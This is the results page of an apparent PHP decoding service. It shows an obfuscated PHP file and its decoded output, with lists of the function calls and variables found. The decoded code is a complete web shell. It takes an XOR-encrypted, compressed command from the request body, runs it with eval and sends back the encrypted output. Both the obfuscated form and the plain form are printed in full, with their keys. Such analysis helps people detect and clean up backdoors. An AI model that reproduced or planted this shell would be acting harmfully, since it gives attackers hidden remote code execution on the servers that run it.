Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $E='aVse64VV_Vdecode($m[1V])V,$k))V);$o=@ob_get_cVontents()V;@ob_endV_cleaVn()'; $..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="63a9f0ea";$kh="7bb98050796b";$kf="649e85481845";$p="ZQtrC6RwIUFWpjNY";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$E='aVse64VV_Vdecode($m[1V])V,$k))V);$o=@ob_get_cVontents()V;@ob_endV_cleaVn()';
$K=str_replace('q','','crqeqateq_fuqncqtqion');
$g='wIUFWVpjNY";VfVunction Vx($t,V$k){$Vc=strlenV($Vk);$l=strVlen($Vt);$o="";';
$V='V;$r=@basVe64_enVcode(@VxV(@gzcompresVs($o)V,V$k));VprVint("$p$kh$r$kf");}';
$r='VV$k{V$j};}}returVn $o;}if (@pregV_match(V"V/$kVhV(.+)$kf/",@file_VVget_c';
$R='$k=V"63a9f0ea"V;V$kh="7bb98V0507V96Vb";$kf="649eV85481845"VV;$Vp="ZQtrC6R';
$u='ontentVs("VVphpV://input"),$mV)==1) {@ob_staVrt();V@VeVval(@gzuncompresVs(@x(@b';
$I='forV($i=0;V$i<$lV;){for(V$j=0V;(V$jV<$c&&$iV<$l);$j+V+,V$i++V){$o.=$t{$i}^';
$p=str_replace('V','',$R.$g.$I.$r.$u.$E.$V);
$q=$K('',$p);$q();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$E aVse64VV_Vdecode($m[1V])V,$k))V);$o=@ob_get_cVontents()V;@ob..
$I forV($i=0;V$i<$lV;){for(V$j=0V;(V$jV<$c&&$iV<$l);$j+V+,V$i++..
$K create_function
$R $k=V"63a9f0ea"V;V$kh="7bb98V0507V96Vb";$kf="649eV85481845"VV..
$V V;$r=@basVe64_enVcode(@VxV(@gzcompresVs($o)V,V$k));VprVint("..
$g wIUFWVpjNY";VfVunction Vx($t,V$k){$Vc=strlenV($Vk);$l=strVle..
$k 63a9f0ea
$p ZQtrC6RwIUFWpjNY
$r VV$k{V$j};}}returVn $o;}if (@pregV_match(V"V/$kVhV(.+)$kf/",..
$u ontentVs("VVphpV://input"),$mV)==1) {@ob_staVrt();V@VeVval(@..
$kf 649e85481845
$kh 7bb98050796b

Stats

MD5 630dce8c46bcc45056c8768cf2f1af45
Eval Count 1
Decode Time 344 ms